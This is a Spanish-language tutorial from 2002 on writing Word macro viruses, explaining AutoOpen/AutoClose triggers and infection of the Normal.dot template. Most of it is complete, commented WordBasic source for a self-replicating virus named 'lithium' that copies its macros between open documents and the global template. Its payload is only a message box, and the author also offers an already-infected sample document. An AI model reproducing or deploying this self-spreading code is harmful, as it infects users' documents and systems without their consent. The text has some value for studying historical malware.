Creación de Macrovirus I

Autor: <+CoOL~ShADoW+> Mail: cool_shadow_1@yahoo.com Fecha: 12/8/02





Índice

1 – Introducción

2 – Cáracterísticas

2.a – ¿Qué es un macrovirus?

2.b – Esquema de un virus

2.c – Diferencias con un virus

2.d – Esquema de un macrovirus

3 – Normal.dot

4 – Código fuente







1- Introducción

Este documento es creado con el fin de enseñar, lo que se haga con el material expuesto es responsabilidad del lector.

Aclaremos algunas cosas. Si quieres aprender a crear verdaderos virus este no es tu texto. Si piensas que los mejores virus son los que más daño hacen eres un idiota, así que deja de leer. Si no tienes idea de que es la programación y algunas cosas básicas primero aprende lo suficiente porque te será muy difícil entenderlo. Si sabes un poquito de programación y quieres saber como funciona un macrovirus, como se multiplica etc. , sigue leyendo ;) Aclarado esto vamos a ver que es un macrovirus, como funciona, sus diferencias con los verdaderos virus, y como escribir uno.





2 – Características

¿Qué es un macrovirus?

La utilidad Word que viene incluida con Micro$of Office soporta un lenguaje (Word Basic) al estilo de Visual Basic pero que no se compila, sino que se ejecuta desde el archivo doc, el código se guarda en el archivo como “Macro/s”. Las macros algo así como funciones pero también como eventos, es algo raro. Cuando un documento las tiene al abrirse se pregunta si se quiere cargarlas o no por precaución. Esto ya es una barrera muy grande, ya que alguien que no sabe que son no se arriesgará. Lo que hace un macrovirus para reproducirse es copiar estas macros a otros archivos (ya veremos como se hace más adelante). Pero... ¿Cuando infectar? Nombrando la macro para algún evento. Hay varios que puedes usar, los más comunes en lo macrovirus son AutoOpen (cuando se abre un archivo) y AutoClose (cuando se cierra), las demás sería bueno que las aprendieras por ti mismo, también se pueden usar algunos eventos para detonar ciertas partes del macro, pero ese tema no me interesa.

Esquema de un virus

Este esquema es de un programa infectado un virus que utiliza determinado método de infección, no todos son iguales.

Salta a Virus

Código programa

Virus

Condicional a algún evento para detonar

Salta Buscar archivos

Buscar archivos

quedan archivos?

Si: salta a Comprueba

No: salta a Código programa

Comprueba

está infectado?

Si: salta Buscar archivos

No: salta Infecta

Infecta

Copia de Virus en adelante al final del archivo

Escribe al principio del archivo un salto a Virus

Cierra el archivo y salta a Buscar archivos





Diferencias con un virus

Además de la diferencias que hay en cuanto a que un virus puede estar hecho en cualquier lenguaje (normalmente ensamblador por su flexibilidad y porque no se crea código basura) y que es mucho más difícil de detectar hay diferencias en su estructura. Por ejemplo, un virus creado en otros lenguajes puede infectar archivos que se ejecutan. Por ejemplo los PE (portable ejecutable) y las DLL´s (Dinamick Link Library, se cargan en la memoria para ser utilizadas por ciertos programas). En cambio los macrovirus solo pueden infectar sus mismos tipos de archivos. Y la forma en la que infectan tiene una gran diferencia que veremos en el siguiente esquema.

Esquema de un macrovirus

Es más o menos así pero puede variar.

Macro - Evento (ej AutoClose)

Desde donde se ejecuta el macro?

Llamada a la función comprobar

Llamada a Detonar

Termina AutoClose

Función comprobar

Se encuentra la macro Detonar?

Si: No hace nada

No: copia la macro Detonar y la macro AutoClose

Macro - Detonar

Condicionales y comandos para detonar

Termina Detonar



Como dije antes, la estructura puede variar un poco y se le pueden poner más eventos para que detonen ciertas partes, por ejemplo al imprimir, al escribir determinado texto, etc. pero la base es esa.





3 – Normal.dot

El normal.dot es la plantilla global de word. Esta sirve para guardar macros que siempre vayas a usar. Lo primero que debería hacer nuestro macrovirus es infectar este archivo, de este modo se infectaran todos los demás archivos que abras aunque ya hallas borrado el documento que contenía las macros originalmente. De vez en cuando revisa este archivo por si hay macros raras, si tu no usas macros globales borra este archivo cada tanto para que el word genera uno “limpio”.





4 - Código fuente

A continuación pondré el código fuente de un macrovirus que hice como ejemplo una explicación de este.

NOTA: por si no sabes como infectar un documento incluí el archivo lithium.doc que ya está infectado. Ábrelo con macros pero recuerda no abrir ningún documento más mientras trabajes con él y luego de cerrarlo borra el normal.dot



Sub Autoclose() `Macro definida como Autoclose

On Error GoTo Ikillyou `Si hay un error salta a Ikillyou que luego llama al detonador del virus

If LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10)) = "normal.dot" Then `Si se ejecuta desde el normal.dot

If dopado = no Then `Llama a la función dopado que se encarga de averiguar si está infectado y si no lo está sigue

WordBasic.FileSaveAs Format:=1

WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose" `Copia el macro Autoclose desde normal.dot al archivo

WordBasic.MacroCopy "Global:lithium", WordBasic.[FileName$]() + ":litihum" `Copia el macro lithium desde normal.dot al archivo

WordBasic.FileSaveAll 1, 1 `Guarda los cambios

GoTo Ikillyou `Salta a Ikillyou que luego llama al detonador del virus

Else `Si no está infectado no copia nada y salta

GoTo Ikillyou

End If

Else `Si no se ejecuta desde normal.dot

If dopado = no Then `Y no está infectado

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose" `Copia el macro Autoclose desde el archivo a normal.dot

WordBasic.MacroCopy WordBasic.[FileName$]() + ":lithium", "Global:lithium" `Copia el macro lithium desde el archivo a normal.dot

WordBasic.FileSaveAll 1, 0 `Guarda los cambios

GoTo Ikillyou `Salta a Ikillyou que luego llama al detonador del virus

Else `Si no está infectado no copia nada y salta

GoTo Ikillyou

End If

End If

GoTo Ikillyou

Ikillyou: `El famoso salto que tanto pongo ;)

Call lithium `Llamo al macro lithium el cual es el detonador y también me sirve para identificar los archivos infectados



End Sub `Termina Autoclose



Function dopado() `Función que comprueba si un documento está infectado, no comento más porque ya se puede deducir su funcionamiento

dopado = no

If LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10)) = "normal.dot" Then

If WordBasic.CountMacros(0) > 0 Then

For i = 1 To WordBasic.CountMacros(0)

If WordBasic.MacroName$(i, 0) = "lithium" Then

dopado = si

End If

Next i

End If

Else

If WordBasic.CountMacros(1) > 0 Then

For i = 1 To WordBasic.CountMacros(1)

If WordBasic.MacroName$(i, 1) = "lithium" Then

dopado = si

End If

Next i

End If

End If

End Function

Sub lithium() `El famoso detonador

MsgBox "I killed you, I'm not gonna crack" `Que maloso xDD

End Sub





Para la próxima (si la hago) , algunas técnicas interesantes para terminar del todo el tema ;)

Creación de Macrovirus 1 - http://www.disidents.org/